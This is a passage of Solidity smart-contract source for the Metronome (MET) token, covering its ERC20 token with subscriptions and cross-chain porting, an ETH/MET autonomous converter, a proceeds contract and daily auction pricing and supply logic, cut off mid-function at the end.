uint constant internal METDECMULT = 10 ** METDECIMALS;
uint public minimumPrice = 33*10**11;
uint public minimumPriceInDailyAuction = 1;
uint public tentimes;
uint public hundredtimes;
uint public thousandtimes;
uint constant public MULTIPLIER = 1984320568*10**5;
function initPricer() public {
uint x = METDECMULT;
uint i;
for (i = 0; i < 10; i++) {
x = x.mul(99).div(100);
}
tentimes = x;
x = METDECMULT;
for (i = 0; i < 10; i++) {
x = x.mul(tentimes).div(METDECMULT);
}
hundredtimes = x;
x = METDECMULT;
for (i = 0; i < 10; i++) {
x = x.mul(hundredtimes).div(METDECMULT);
}
thousandtimes = x;
}
function priceAt(uint initialPrice, uint _n) public view returns (uint price) {
uint mult = METDECMULT;
uint i;
uint n = _n;
if (n / 1000 > 0) {
for (i = 0; i < n / 1000; i++) {
mult = mult.mul(thousandtimes).div(METDECMULT);
}
n = n % 1000;
}
if (n / 100 > 0) {
for (i = 0; i < n / 100; i++) {
mult = mult.mul(hundredtimes).div(METDECMULT);
}
n = n % 100;
}
if (n / 10 > 0) {
for (i = 0; i < n / 10; i++) {
mult = mult.mul(tentimes).div(METDECMULT);
}
n = n % 10;
}
for (i = 0; i < n; i++) {
mult = mult.mul(99).div(100);
}
price = initialPrice.mul(mult).div(METDECMULT);
if (price < minimumPriceInDailyAuction) {
price = minimumPriceInDailyAuction;
}
}
function priceAtInitialAuction(uint lastPurchasePrice, uint numTicks) public view returns (uint price) {
if (lastPurchasePrice > MULTIPLIER.mul(numTicks)) {
price = lastPurchasePrice.sub(MULTIPLIER.mul(numTicks));
}
if (price < minimumPrice) {
price = minimumPrice;
}
}
}
interface ERC20 {
function totalSupply() public constant returns (uint256);
function balanceOf(address _owner) public constant returns (uint256);
function allowance(address _owner, address _spender) public constant returns (uint256);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
function transfer(address _to, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function approve(address _spender, uint256 _value) public returns (bool);
}
contract Ownable {
address public owner;
event OwnershipChanged(address indexed prevOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function changeOwnership(address _newOwner) public onlyOwner returns (bool) {
require(_newOwner != address(0));
require(_newOwner != owner);
emit OwnershipChanged(owner, _newOwner);
owner = _newOwner;
return true;
}
}
contract Owned is Ownable {
address public newOwner;
function changeOwnership(address _newOwner) public onlyOwner returns (bool) {
require(_newOwner != owner);
newOwner = _newOwner;
return true;
}
function acceptOwnership() public returns (bool) {
require(msg.sender == newOwner);
emit OwnershipChanged(owner, newOwner);
owner = newOwner;
return true;
}
}
contract Mintable is Owned {
using SafeMath for uint256;
event Mint(address indexed _to, uint _value);
event Destroy(address indexed _from, uint _value);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
uint256 internal _totalSupply;
mapping(address => uint256) internal _balanceOf;
address public autonomousConverter;
address public minter;
ITokenPorter public tokenPorter;
function initMintable(address _autonomousConverter, address _minter, uint _initialSupply,
uint _decmult) public onlyOwner {
require(autonomousConverter == 0x0 && _autonomousConverter != 0x0);
require(minter == 0x0 && _minter != 0x0);
autonomousConverter = _autonomousConverter;
minter = _minter;
_totalSupply = _initialSupply.mul(_decmult);
_balanceOf[_autonomousConverter] = _totalSupply;
}
function totalSupply() public constant returns (uint256) {
return _totalSupply;
}
function balanceOf(address _owner) public constant returns (uint256) {
return _balanceOf[_owner];
}
function setTokenPorter(address _tokenPorter) public onlyOwner returns (bool) {
require(_tokenPorter != 0x0);
tokenPorter = ITokenPorter(_tokenPorter);
return true;
}
function mint(address _to, uint _value) public returns (bool) {
require(msg.sender == minter || msg.sender == address(tokenPorter));
_balanceOf[_to] = _balanceOf[_to].add(_value);
_totalSupply = _totalSupply.add(_value);
emit Mint(_to, _value);
emit Transfer(0x0, _to, _value);
return true;
}
function destroy(address _from, uint _value) public returns (bool) {
require(msg.sender == autonomousConverter || msg.sender == address(tokenPorter));
_balanceOf[_from] = _balanceOf[_from].sub(_value);
_totalSupply = _totalSupply.sub(_value);
emit Destroy(_from, _value);
emit Transfer(_from, 0x0, _value);
return true;
}
}
contract Token is ERC20, Mintable {
mapping(address => mapping(address => uint256)) internal _allowance;
function initToken(address _autonomousConverter, address _minter,
uint _initialSupply, uint _decmult) public onlyOwner {
initMintable(_autonomousConverter, _minter, _initialSupply, _decmult);
}
function allowance(address _owner, address _spender) public constant returns (uint256) {
return _allowance[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_to != minter);
require(_to != address(this));
require(_to != autonomousConverter);
Proceeds proceeds = Auctions(minter).proceeds();
require((_to != address(proceeds)));
_balanceOf[msg.sender] = _balanceOf[msg.sender].sub(_value);
_balanceOf[_to] = _balanceOf[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_to != minter && _from != minter);
require(_to != address(this) && _from != address(this));
Proceeds proceeds = Auctions(minter).proceeds();
require(_to != address(proceeds) && _from != address(proceeds));
require(_from != autonomousConverter);
require(_allowance[_from][msg.sender] >= _value);
_balanceOf[_from] = _balanceOf[_from].sub(_value);
_balanceOf[_to] = _balanceOf[_to].add(_value);
_allowance[_from][msg.sender] = _allowance[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require(_spender != address(this));
_allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function multiTransfer(uint[] bits) public returns (bool) {
for (uint i = 0; i < bits.length; i++) {
address a = address(bits[i] >> 96);
uint amount = bits[i] & ((1 << 96) - 1);
if (!transfer(a, amount)) revert();
}
return true;
}
function approveMore(address _spender, uint256 _value) public returns (bool) {
uint previous = _allowance[msg.sender][_spender];
uint newAllowance = previous.add(_value);
_allowance[msg.sender][_spender] = newAllowance;
emit Approval(msg.sender, _spender, newAllowance);
return true;
}
function approveLess(address _spender, uint256 _value) public returns (bool) {
uint previous = _allowance[msg.sender][_spender];
uint newAllowance = previous.sub(_value);
_allowance[msg.sender][_spender] = newAllowance;
emit Approval(msg.sender, _spender, newAllowance);
return true;
}
}
contract SmartToken is Mintable {
uint constant internal METDECIMALS = 18;
uint constant internal METDECMULT = 10 ** METDECIMALS;
function initSmartToken(address _autonomousConverter, address _minter, uint _initialSupply) public onlyOwner {
initMintable(_autonomousConverter, _minter, _initialSupply, METDECMULT);
}
}
contract METToken is Token {
string public constant name = "Metronome";
string public constant symbol = "MET";
uint8 public constant decimals = 18;
bool public transferAllowed;
function initMETToken(address _autonomousConverter, address _minter,
uint _initialSupply, uint _decmult) public onlyOwner {
initToken(_autonomousConverter, _minter, _initialSupply, _decmult);
}
modifier transferable() {
require(transferAllowed);
_;
}
function enableMETTransfers() public returns (bool) {
require(!transferAllowed && Auctions(minter).isInitialAuctionEnded());
transferAllowed = true;
return true;
}
function transfer(address _to, uint256 _value) public transferable returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public transferable returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function multiTransfer(uint[] bits) public transferable returns (bool) {
return super.multiTransfer(bits);
}
mapping (address => bytes32) public roots;
function setRoot(bytes32 data) public {
roots[msg.sender] = data;
}
function getRoot(address addr) public view returns (bytes32) {
return roots[addr];
}
function rootsMatch(address a, address b) public view returns (bool) {
return roots[a] == roots[b];
}
function importMET(bytes8 _originChain, bytes8 _destinationChain, address[] _addresses, bytes _extraData,
bytes32[] _burnHashes, uint[] _supplyOnAllChains, uint[] _importData, bytes _proof) public returns (bool)
{
require(address(tokenPorter) != 0x0);
return tokenPorter.importMET(_originChain, _destinationChain, _addresses, _extraData,
_burnHashes, _supplyOnAllChains, _importData, _proof);
}
function export(bytes8 _destChain, address _destMetronomeAddr, address _destRecipAddr, uint _amount, uint _fee,
bytes _extraData) public returns (bool)
{
require(address(tokenPorter) != 0x0);
return tokenPorter.export(msg.sender, _destChain, _destMetronomeAddr,
_destRecipAddr, _amount, _fee, _extraData);
}
struct Sub {
uint startTime;
uint payPerWeek;
uint lastWithdrawTime;
}
event LogSubscription(address indexed subscriber, address indexed subscribesTo);
event LogCancelSubscription(address indexed subscriber, address indexed subscribesTo);
mapping (address => mapping (address => Sub)) public subs;
function subscribe(uint _startTime, uint _payPerWeek, address _recipient) public returns (bool) {
require(_startTime >= block.timestamp);
require(_payPerWeek != 0);
require(_recipient != 0);
subs[msg.sender][_recipient] = Sub(_startTime, _payPerWeek, _startTime);
emit LogSubscription(msg.sender, _recipient);
return true;
}
function cancelSubscription(address _recipient) public returns (bool) {
require(subs[msg.sender][_recipient].startTime != 0);
require(subs[msg.sender][_recipient].payPerWeek != 0);
subs[msg.sender][_recipient].startTime = 0;
subs[msg.sender][_recipient].payPerWeek = 0;
subs[msg.sender][_recipient].lastWithdrawTime = 0;
emit LogCancelSubscription(msg.sender, _recipient);
return true;
}
function getSubscription(address _owner, address _recipient) public constant
returns (uint startTime, uint payPerWeek, uint lastWithdrawTime)
{
Sub storage sub = subs[_owner][_recipient];
return (
sub.startTime,
sub.payPerWeek,
sub.lastWithdrawTime
);
}
function subWithdraw(address _owner) public transferable returns (bool) {
require(subWithdrawFor(_owner, msg.sender));
return true;
}
function multiSubWithdraw(address[] _owners) public returns (uint) {
uint n = 0;
for (uint i=0; i < _owners.length; i++) {
if (subWithdrawFor(_owners[i], msg.sender)) {
n++;
}
}
return n;
}
function multiSubWithdrawFor(address[] _owners, address[] _recipients) public returns (uint) {
require(_owners.length == _recipients.length);
uint n = 0;
for (uint i = 0; i < _owners.length; i++) {
if (subWithdrawFor(_owners[i], _recipients[i])) {
n++;
}
}
return n;
}
function subWithdrawFor(address _from, address _to) internal returns (bool) {
Sub storage sub = subs[_from][_to];
if (sub.startTime > 0 && sub.startTime < block.timestamp && sub.payPerWeek > 0) {
uint weekElapsed = (now.sub(sub.lastWithdrawTime)).div(7 days);
uint amount = weekElapsed.mul(sub.payPerWeek);
if (weekElapsed > 0 && _balanceOf[_from] >= amount) {
subs[_from][_to].lastWithdrawTime = block.timestamp;
_balanceOf[_from] = _balanceOf[_from].sub(amount);
_balanceOf[_to] = _balanceOf[_to].add(amount);
emit Transfer(_from, _to, amount);
return true;
}
}
return false;
}
}
contract AutonomousConverter is Formula, Owned {
SmartToken public smartToken;
METToken public reserveToken;
Auctions public auctions;
enum WhichToken { Eth, Met }
bool internal initialized = false;
event LogFundsIn(address indexed from, uint value);
event ConvertEthToMet(address indexed from, uint eth, uint met);
event ConvertMetToEth(address indexed from, uint eth, uint met);
function init(address _reserveToken, address _smartToken, address _auctions)
public onlyOwner payable
{
require(!initialized);
auctions = Auctions(_auctions);
reserveToken = METToken(_reserveToken);
smartToken = SmartToken(_smartToken);
initialized = true;
}
function handleFund() public payable {
require(msg.sender == address(auctions.proceeds()));
emit LogFundsIn(msg.sender, msg.value);
}
function getMetBalance() public view returns (uint) {
return balanceOf(WhichToken.Met);
}
function getEthBalance() public view returns (uint) {
return balanceOf(WhichToken.Eth);
}
function getMetForEthResult(uint _depositAmount) public view returns (uint256) {
return convertingReturn(WhichToken.Eth, _depositAmount);
}
function getEthForMetResult(uint _depositAmount) public view returns (uint256) {
return convertingReturn(WhichToken.Met, _depositAmount);
}
function convertEthToMet(uint _mintReturn) public payable returns (uint returnedMet) {
returnedMet = convert(WhichToken.Eth, _mintReturn, msg.value);
emit ConvertEthToMet(msg.sender, msg.value, returnedMet);
}
function convertMetToEth(uint _amount, uint _mintReturn) public returns (uint returnedEth) {
returnedEth = convert(WhichToken.Met, _mintReturn, _amount);
emit ConvertMetToEth(msg.sender, returnedEth, _amount);
}
function balanceOf(WhichToken which) internal view returns (uint) {
if (which == WhichToken.Eth) return address(this).balance;
if (which == WhichToken.Met) return reserveToken.balanceOf(this);
revert();
}
function convertingReturn(WhichToken whichFrom, uint _depositAmount) internal view returns (uint256) {
WhichToken to = WhichToken.Met;
if (whichFrom == WhichToken.Met) {
to = WhichToken.Eth;
}
uint reserveTokenBalanceFrom = balanceOf(whichFrom).add(_depositAmount);
uint mintRet = returnForMint(smartToken.totalSupply(), _depositAmount, reserveTokenBalanceFrom);
uint newSmartTokenSupply = smartToken.totalSupply().add(mintRet);
uint reserveTokenBalanceTo = balanceOf(to);
return returnForRedemption(
newSmartTokenSupply,
mintRet,
reserveTokenBalanceTo);
}
function convert(WhichToken whichFrom, uint _minReturn, uint amnt) internal returns (uint) {
WhichToken to = WhichToken.Met;
if (whichFrom == WhichToken.Met) {
to = WhichToken.Eth;
require(reserveToken.transferFrom(msg.sender, this, amnt));
}
uint mintRet = mint(whichFrom, amnt, 1);
return redeem(to, mintRet, _minReturn);
}
function mint(WhichToken which, uint _depositAmount, uint _minReturn) internal returns (uint256 amount) {
require(_minReturn > 0);
amount = mintingReturn(which, _depositAmount);
require(amount >= _minReturn);
require(smartToken.mint(msg.sender, amount));
}
function mintingReturn(WhichToken which, uint _depositAmount) internal view returns (uint256) {
uint256 smartTokenSupply = smartToken.totalSupply();
uint256 reserveBalance = balanceOf(which);
return returnForMint(smartTokenSupply, _depositAmount, reserveBalance);
}
function redeem(WhichToken which, uint _amount, uint _minReturn) internal returns (uint redeemable) {
require(_amount <= smartToken.balanceOf(msg.sender));
require(_minReturn > 0);
redeemable = redemptionReturn(which, _amount);
require(redeemable >= _minReturn);
uint256 reserveBalance = balanceOf(which);
require(reserveBalance >= redeemable);
uint256 tokenSupply = smartToken.totalSupply();
require(_amount < tokenSupply);
smartToken.destroy(msg.sender, _amount);
if (which == WhichToken.Eth) {
msg.sender.transfer(redeemable);
} else {
require(reserveToken.transfer(msg.sender, redeemable));
}
}
function redemptionReturn(WhichToken which, uint smartTokensSent) internal view returns (uint256) {
uint smartTokenSupply = smartToken.totalSupply();
uint reserveTokenBalance = balanceOf(which);
return returnForRedemption(
smartTokenSupply,
smartTokensSent,
reserveTokenBalance);
}
}
contract Proceeds is Owned {
using SafeMath for uint256;
AutonomousConverter public autonomousConverter;
Auctions public auctions;
event LogProceedsIn(address indexed from, uint value);
event LogClosedAuction(address indexed from, uint value);
uint latestAuctionClosed;
function initProceeds(address _autonomousConverter, address _auctions) public onlyOwner {
require(address(auctions) == 0x0 && _auctions != 0x0);
require(address(autonomousConverter) == 0x0 && _autonomousConverter != 0x0);
autonomousConverter = AutonomousConverter(_autonomousConverter);
auctions = Auctions(_auctions);
}
function handleFund() public payable {
require(msg.sender == address(auctions));
emit LogProceedsIn(msg.sender, msg.value);
}
function closeAuction() public {
uint lastPurchaseTick = auctions.lastPurchaseTick();
uint currentAuction = auctions.currentAuction();
uint val = ((address(this).balance).mul(25)).div(10000);
if (val > 0 && (currentAuction > auctions.whichAuction(lastPurchaseTick))
&& (latestAuctionClosed < currentAuction)) {
latestAuctionClosed = currentAuction;
autonomousConverter.handleFund.value(val)();
emit LogClosedAuction(msg.sender, val);
}
}
}
contract Auctions is Pricer, Owned {
using SafeMath for uint256;
METToken public token;
Proceeds public proceeds;
address[] public founders;
mapping(address => TokenLocker) public tokenLockers;
uint internal constant DAY_IN_SECONDS = 86400;
uint internal constant DAY_IN_MINUTES = 1440;
uint public genesisTime;
uint public lastPurchaseTick;
uint public lastPurchasePrice;
uint public constant INITIAL_GLOBAL_DAILY_SUPPLY = 2880 * METDECMULT;
uint public INITIAL_FOUNDER_SUPPLY = 1999999 * METDECMULT;
uint public INITIAL_AC_SUPPLY = 1 * METDECMULT;
uint public totalMigratedOut = 0;
uint public totalMigratedIn = 0;
uint public timeScale = 1;
uint public constant INITIAL_SUPPLY = 10000000 * METDECMULT;
uint public mintable = INITIAL_SUPPLY;
uint public initialAuctionDuration = 7 days;
uint public initialAuctionEndTime;
uint public dailyAuctionStartTime;
uint public constant DAILY_PURCHASE_LIMIT = 1000 ether;
mapping (address => uint) internal purchaseInTheAuction;
mapping (address => uint) internal lastPurchaseAuction;
bool public minted;
bool public initialized;
uint public globalSupplyAfterPercentageLogic = 52598080 * METDECMULT;
uint public constant AUCTION_WHEN_PERCENTAGE_LOGIC_STARTS = 14791;
bytes8 public chain = "ETH";
event LogAuctionFundsIn(address indexed sender, uint amount, uint tokens, uint purchasePrice, uint refund);
function Auctions() public {
mintable = INITIAL_SUPPLY - 2000000 * METDECMULT;
}
function () public payable running {
require(msg.value > 0);
uint amountForPurchase = msg.value;
uint excessAmount;
if (currentAuction() > whichAuction(lastPurchaseTick)) {
proceeds.closeAuction();
restartAuction();
}
if (isInitialAuctionEnded()) {
require(now >= dailyAuctionStartTime);
if (lastPurchaseAuction[msg.sender] < currentAuction()) {
if (amountForPurchase > DAILY_PURCHASE_LIMIT) {
excessAmount = amountForPurchase.sub(DAILY_PURCHASE_LIMIT);
amountForPurchase = DAILY_PURCHASE_LIMIT;
}
purchaseInTheAuction[msg.sender] = msg.value;
lastPurchaseAuction[msg.sender] = currentAuction();
} else {
require(purchaseInTheAuction[msg.sender] < DAILY_PURCHASE_LIMIT);
if (purchaseInTheAuction[msg.sender].add(amountForPurchase) > DAILY_PURCHASE_LIMIT) {
excessAmount = (purchaseInTheAuction[msg.sender].add(amountForPurchase)).sub(DAILY_PURCHASE_LIMIT);
amountForPurchase = amountForPurchase.sub(excessAmount);
}
purchaseInTheAuction[msg.sender] = purchaseInTheAuction[msg.sender].add(msg.value);
}
}
uint _currentTick = currentTick();
uint weiPerToken;
uint tokens;
uint refund;
(weiPerToken, tokens, refund) = calcPurchase(amountForPurchase, _currentTick);
require(tokens > 0);
if (now < initialAuctionEndTime && (token.totalSupply()).add(tokens) >= INITIAL_SUPPLY) {
initialAuctionEndTime = now;
dailyAuctionStartTime = ((initialAuctionEndTime / 1 days) + 1) * 1 days;
}
lastPurchaseTick = _currentTick;
lastPurchasePrice = weiPerToken;
assert(tokens <= mintable);
mintable = mintable.sub(tokens);
assert(refund <= amountForPurchase);
uint ethForProceeds = amountForPurchase.sub(refund);
proceeds.handleFund.value(ethForProceeds)();
require(token.mint(msg.sender, tokens));
refund = refund.add(excessAmount);
if (refund > 0) {
if (purchaseInTheAuction[msg.sender] > 0) {
purchaseInTheAuction[msg.sender] = purchaseInTheAuction[msg.sender].sub(refund);
}
msg.sender.transfer(refund);
}
emit LogAuctionFundsIn(msg.sender, ethForProceeds, tokens, lastPurchasePrice, refund);
}
modifier running() {
require(isRunning());
_;
}
function isRunning() public constant returns (bool) {
return (block.timestamp >= genesisTime && genesisTime > 0);
}
function currentTick() public view returns(uint) {
return whichTick(block.timestamp);
}
function currentAuction() public view returns(uint) {
return whichAuction(currentTick());
}
function whichTick(uint t) public view returns(uint) {
if (genesisTime > t) {
revert();
}
return (t - genesisTime) * timeScale / 1 minutes;
}
function whichAuction(uint t) public view returns(uint) {
if (whichTick(dailyAuctionStartTime) > t) {
return 0;
} else {
return ((t - whichTick(dailyAuctionStartTime)) / DAY_IN_MINUTES) + 1;
}
}
function heartbeat() public view returns (
bytes8 _chain,
address auctionAddr,
address convertAddr,
address tokenAddr,
uint minting,
uint totalMET,
uint proceedsBal,
uint currTick,
uint currAuction,
uint nextAuctionGMT,
uint genesisGMT,
uint currentAuctionPrice,
uint _dailyMintable,
uint _lastPurchasePrice) {
_chain = chain;
convertAddr = proceeds.autonomousConverter();
tokenAddr = token;
auctionAddr = this;
totalMET = token.totalSupply();
proceedsBal = address(proceeds).balance;
currTick = currentTick();
currAuction = currentAuction();
if (currAuction == 0) {
nextAuctionGMT = dailyAuctionStartTime;
} else {
nextAuctionGMT = (currAuction * DAY_IN_SECONDS) / timeScale + dailyAuctionStartTime;
}
genesisGMT = genesisTime;
currentAuctionPrice = currentPrice();
_dailyMintable = dailyMintable();
minting = currentMintable();
_lastPurchasePrice = lastPurchasePrice;
}
function skipInitBecauseIAmNotOg(address _token, address _proceeds, uint _genesisTime,
uint _minimumPrice, uint _startingPrice, uint _timeScale, bytes8 _chain,
uint _initialAuctionEndTime) public onlyOwner returns (bool) {
require(!minted);
require(!initialized);
require(_timeScale != 0);
require(address(token) == 0x0 && _token != 0x0);
require(address(proceeds) == 0x0 && _proceeds != 0x0);
initPricer();
token = METToken(_token);
proceeds = Proceeds(_proceeds);
INITIAL_FOUNDER_SUPPLY = 0;
INITIAL_AC_SUPPLY = 0;
mintable = 0;
genesisTime = _genesisTime;
initialAuctionEndTime = _initialAuctionEndTime;
if (initialAuctionEndTime == (initialAuctionEndTime / 1 days) * 1 days) {
dailyAuctionStartTime = initialAuctionEndTime;
} else {
dailyAuctionStartTime = ((initialAuctionEndTime / 1 days) + 1) * 1 days;
}
lastPurchaseTick = 0;
if (_minimumPrice > 0) {
minimumPrice = _minimumPrice;
}
timeScale = _timeScale;
if (_startingPrice > 0) {
lastPurchasePrice = _startingPrice * 1 ether;
} else {
lastPurchasePrice = 2 ether;
}
chain = _chain;
minted = true;
initialized = true;
return true;
}
function initAuctions(uint _startTime, uint _minimumPrice, uint _startingPrice, uint _timeScale)
public onlyOwner returns (bool)
{
require(minted);
require(!initialized);
require(_timeScale != 0);
initPricer();
if (_startTime > 0) {
genesisTime = (_startTime / (1 minutes)) * (1 minutes) + 60;
} else {
genesisTime = block.timestamp + 60 - (block.timestamp % 60);
}
initialAuctionEndTime = genesisTime + initialAuctionDuration;
if (initialAuctionEndTime == (initialAuctionEndTime / 1 days) * 1 days) {
dailyAuctionStartTime = initialAuctionEndTime;
} else {
dailyAuctionStartTime = ((initialAuctionEndTime / 1 days) + 1) * 1 days;
}
lastPurchaseTick = 0;
if (_minimumPrice > 0) {
minimumPrice = _minimumPrice;
}
timeScale = _timeScale;
if (_startingPrice > 0) {
lastPurchasePrice = _startingPrice * 1 ether;
} else {
lastPurchasePrice = 2 ether;
}
for (uint i = 0; i < founders.length; i++) {
TokenLocker tokenLocker = tokenLockers[founders[i]];
tokenLocker.lockTokenLocker();
}
initialized = true;
return true;
}
function createTokenLocker(address _founder, address _token) public onlyOwner {
require(_token != 0x0);
require(_founder != 0x0);
founders.push(_founder);
TokenLocker tokenLocker = new TokenLocker(address(this), _token);
tokenLockers[_founder] = tokenLocker;
tokenLocker.changeOwnership(_founder);
}
function mintInitialSupply(uint[] _founders, address _token,
address _proceeds, address _autonomousConverter) public onlyOwner returns (bool)
{
require(!minted);
require(_founders.length != 0);
require(address(token) == 0x0 && _token != 0x0);
require(address(proceeds) == 0x0 && _proceeds != 0x0);
require(_autonomousConverter != 0x0);
token = METToken(_token);
proceeds = Proceeds(_proceeds);
uint foundersTotal;
for (uint i = 0; i < _founders.length; i++) {
address addr = address(_founders[i] >> 96);
require(addr != 0x0);
uint amount = _founders[i] & ((1 << 96) - 1);
require(amount > 0);
TokenLocker tokenLocker = tokenLockers[addr];
require(token.mint(address(tokenLocker), amount));
tokenLocker.deposit(addr, amount);
foundersTotal = foundersTotal.add(amount);
}
require(foundersTotal == INITIAL_FOUNDER_SUPPLY);
require(token.mint(_autonomousConverter, INITIAL_AC_SUPPLY));
minted = true;
return true;
}
function stopEverything() public onlyOwner {
if (genesisTime < block.timestamp) {
revert();
}
genesisTime = genesisTime + 1000 years;
initialAuctionEndTime = genesisTime;
dailyAuctionStartTime = genesisTime;
}
function isInitialAuctionEnded() public view returns (bool) {
return (initialAuctionEndTime != 0 &&
(now >= initialAuctionEndTime || token.totalSupply() >= INITIAL_SUPPLY));
}
function globalMetSupply() public view returns (uint) {
uint currAuc = currentAuction();
if (currAuc > AUCTION_WHEN_PERCENTAGE_LOGIC_STARTS) {
return globalSupplyAfterPercentageLogic;
} else {
return INITIAL_SUPPLY.add(INITIAL_GLOBAL_DAILY_SUPPLY.mul(currAuc));
}
}
function globalDailySupply() public view returns (uint) {
uint dailySupply = INITIAL_GLOBAL_DAILY_SUPPLY;
uint thisAuction = currentAuction();
if (thisAuction > AUCTION_WHEN_PERCENTAGE_LOGIC_STARTS) {
uint lastAuctionPurchase = whichAuction(lastPurchaseTick);
uint recentAuction = AUCTION_WHEN_PERCENTAGE_LOGIC_STARTS + 1;
if (lastAuctionPurchase > recentAuction) {
recentAuction = lastAuctionPurchase;
}
uint totalAuctions = thisAuction - recentAuction;
if (totalAuctions > 1) {
uint factor = 36525 + ((totalAuctions - 1) * 2);
dailySupply = (globalSupplyAfterPercentageLogic.mul(2).mul(factor)).div(36525 ** 2);
} else {
dailySupply = globalSupplyAfterPercentageLogic.mul(2).div(36525);
}
if (dailySupply < INITIAL_GLOBAL_DAILY_SUPPLY) {
dailySupply = INITIAL_GLOBAL_DAILY_SUPPLY;
}
}
return dailySupply;
}
function currentPrice() public constant returns (uint weiPerToken) {
weiPerToken = calcPriceAt(currentTick());
}
function dailyMintable() public constant returns (uint) {
return nextAuctionSupply(0);
}
function tokensOnThisChain() public view returns (uint) {
uint totalSupply = token.totalSupply();
uint currMintable = currentMintable();
return totalSupply.add(currMintable);
}
function currentMintable() public view returns (uint) {
uint currMintable = mintable;
uint currAuction = currentAuction();
uint totalAuctions = currAuction.sub(whichAuction(lastPurchaseTick));
if (totalAuctions > 0) {
currMintable = mintable.add(nextAuctionSupply(totalAuctions));
}
return currMintable;
}
function prepareAuctionForNonOGChain() public {
require(msg.sender == address(token.tokenPorter()) || msg.sender == address(token));
require(token.totalSupply() == 0);
require(chain != "ETH");
lastPurchaseTick = currentTick();
}
function whatWouldPurchaseDo(uint _wei, uint _timestamp) public constant
returns (uint weiPerToken, uint tokens, uint refund)
{
weiPerToken = calcPriceAt(whichTick(_timestamp));
uint calctokens = METDECMULT.mul(_wei).div(weiPerToken);
tokens = calctokens;
if (calctokens > mintable) {
tokens = mintable;
uint weiPaying = mintable.mul(weiPerToken).div(METDECMULT);
refund = _wei.sub(weiPaying);
}
}
function nextAuction() internal constant returns(uint _startTime, uint _startPrice, uint _auctionTokens) {
if (block.timestamp < genesisTime) {
_startTime = genesisTime;
_startPrice = lastPurchasePrice;
_auctionTokens = mintable;
return;
}
uint recentAuction = whichAuction(lastPurchaseTick);
uint currAuc = currentAuction();
uint totalAuctions = currAuc - recentAuction;
_startTime = dailyAuctionStartTime;
if (currAuc > 1) {
_startTime = auctionStartTime(currentTick());
}
_auctionTokens = nextAuctionSupply(totalAuctions);
if (totalAuctions > 1) {
_startPrice = lastPurchasePrice / 100 + 1;
} else {
if (mintable == 0 || totalAuctions == 0) {
_startPrice = (lastPurchasePrice * 2) + 1;
} else {
if (currAuc == 1) {
_startPrice = minimumPrice * 2;
} else {
uint tickWhenAuctionEnded = whichTick(_startTime);
uint numTick = 0;
if (tickWhenAuctionEnded > lastPurchaseTick) {
numTick = tickWhenAuctionEnded - lastPurchaseTick;
}
_startPrice = priceAt(lastPurchasePrice, numTick) * 2;
}
}
}
}
function calcPurchase(uint _wei, uint _t) internal view returns (uint weiPerToken, uint tokens, uint refund)
{
require(_t >= lastPurchaseTick);
uint numTicks = _t - lastPurchaseTick;
if (isInitialAuctionEnded()) {
weiPerToken = priceAt(lastPurchasePrice, numTicks);
} else {
weiPerToken = priceAtInitialAuction(lastPurchasePrice, numTicks);
}
uint calctokens = METDECMULT.mul(_wei).div(weiPerToken);
tokens = calctokens;
if (calctokens > mintable) {
tokens = mintable;
uint ethPaying = mintable.mul(weiPerToken).div(METDECMULT);
refund = _wei.sub(ethPaying);
}
}
function nextAuctionSupply(uint totalAuctionMissed) internal view returns (uint supply) {
uint thisAuction = currentAuction();
uint tokensHere = token.totalSupply().add(mintable);
supply = INITIAL_GLOBAL_DAILY_SUPPLY;
uint dailySupplyAtLastPurchase;
if (thisAuction > AUCTION_WHEN_PERCENTAGE_LOGIC_STARTS) {
supply = globalDailySupply();
if (totalAuctionMissed > 1) {
dailySupplyAtLastPurchase = globalSupplyAfterPercentageLogic.mul(2).div(36525);
supply = dailySupplyAtLastPurchase.add(supply).mul(totalAuctionMissed).div(2);
}
supply = (supply.mul(tokensHere)).div(globalSupplyAfterPercentageLogic);
} else {
if (totalAuctionMissed > 1) {
supply = supply.mul(totalAuctionMissed);
}
uint previousGlobalMetSupply =
INITIAL_SUPPLY.add(INITIAL_GLOBAL_DAILY_SUPPLY.mul(whichAuction(lastPurchaseTick)));
supply = (supply.mul(tokensHere)).div(previousGlobalMetSupply);
}
}
function calcPriceAt(uint _tick) internal constant returns (uint weiPerToken) {
uint recentAuction = whichAuction(lastPurchaseTick);
uint totalAuctions = whichAuction(_tick).sub(recentAuction);
uint prevPrice;
uint numTicks = 0;
if (mintable == 0 && totalAuctions == 0) {
return lastPurchasePrice;
}
if (totalAuctions > 1) {
prevPrice = lastPurchasePrice / 100 + 1;
numTicks = numTicksSinceAuctionStart(_tick);
} else if (totalAuctions == 1) {
if (mintable == 0) {
prevPrice = lastPurchasePrice * 2;
} else {
if (whichAuction(_tick) == 1) {
prevPrice = minimumPrice * 2;
} else {
prevPrice = priceAt(lastPurchasePrice, numTicksTillAuctionStart(_tick)) * 2;
}
}
numTicks = numTicksSinceAuctionStart(_tick);
} else {
prevPrice = lastPurchasePrice;
numTicks = _tick - lastPurchaseTick;
}
require(numTicks >= 0);
if (isInitialAuctionEnded()) {
weiPerToken = priceAt(prevPrice, numTicks);
} else {
weiPerToken = priceAtInitialAuction(prevPrice, numTicks);
}
}
function numTicksSinceAuctionStart(uint _tick) private view returns (uint ) {
uint currentAuctionStartTime = auctionStartTime(_tick);
return _tick - whichTick(currentAuctionStartTime);
}
function numTicksTillAuctionStart(uint _tick) private view returns (uint) {
uint currentAuctionStartTime = auctionStartTime(_tick);
return whichTick(currentAuctionStartTime) - lastPurchaseTick;
}
function auctionStartTime(uint _tick) private view returns (uint) {
